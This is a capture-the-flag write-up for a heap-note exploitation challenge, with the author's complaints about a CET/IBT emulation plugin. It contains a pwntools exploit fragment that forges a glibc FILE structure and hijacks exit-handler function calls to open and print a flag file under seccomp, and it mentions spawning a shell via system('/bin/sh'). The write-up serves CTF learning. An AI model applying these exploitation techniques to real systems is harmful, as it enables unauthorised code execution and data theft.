#
leapfrognc 0.cloud.chals.io 33799
ROP/JOP are dead, long live code reuse attacks!
This writeup is not going to be very in depth, mostly because I want to complain about the cet/ibt plugin that the author decided to use.
#
broken pluginThe plugin provides shadow stack tracking and ibt endbr64/endbr32 enforcement, however does not implement any of the associated cpu instructions that are needed for applications to use them properly. cpuid
does not report cet or ibt, causing the setcontext
code inside the glibc to break because it thinks shadow stack is off. This is VERY annoying and the plugin author should have done their due diligence to properly read the intel manuals and implement the features properly.
All that aside the plugin works fine (except ibt is always on and doesnt respect the disabling instructions, oh and shadow stack is also always on, and none of the shadow stack manipulation instructions have been implemented). It works fine...
#
solutionANYWAYS my solution involved using the arbitrary read/write from the heapnote interface part of the challenge to call arbitrary functions in libc via the exit_functions
list that are invoked during exit
. Using the registered destructors gives single argument control, and with seccomp enabled we have to employ some tricks to perform the normal open/read/write with single argument control.
159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196
filename = libcbase + libc.bss()
arbwrite(filename, b"/flag.txt")
contents = libcbase + libc.bss(0x200)
fakefile = libcbase + libc.bss(0x100)
mask = (1 << 64) - 1
payload = FileStructure()
payload.flags = 0xfbad2488
payload._IO_read_ptr = contents + 0x1000
payload._IO_read_end = contents + 0x1000
payload._IO_read_base = contents
payload._IO_write_base = contents
payload._IO_write_ptr = contents
payload._IO_write_end = contents
payload._IO_buf_base = contents
payload._IO_buf_end = contents + 0x1000
payload.fileno = 3
payload._offset = mask
payload._old_offset = 0
payload._lock = libcbase + libc.sym._IO_stdfile_0_lock
payload._wide_data = libcbase + libc.sym._IO_wide_data_0
payload.vtable = libcbase + libc.sym._IO_file_jumps
payload = bytearray(bytes(payload))
payload[192:196] = p32(0xffffffff)
arbwrite(fakefile, bytes(payload))
log.info(f"{fakefile = :#x}")
log.info(f"{contents = :#x}")
log.info(f"{libcbase + libc.sym.fgetc = :#x}")
log.info(f"{libcbase + libc.sym.open = :#x}")
funcs = [
func(4, libcbase + libc.sym.open, filename),
func(4, libcbase + libc.sym.fgetc, fakefile),
func(4, libcbase + libc.sym.puts, contents + 1),
func(4, libcbase + libc.sym.sleep, 8)
]
The solution involves opening the flag file to obtain a file descriptor, then faking a FILE
structure with a hardcoded file descriptor (since you do not know which file descriptor is opened on remote you do some bruting, but its very small) to read the flag file into the FILE
buffer. After being read into the buffer its simple to output the flag.
#
unintendedTurns out qemu does not implement seccomp, so as soon as you achieved arbitrary read/write you could just call system("/bin/sh")
and be done...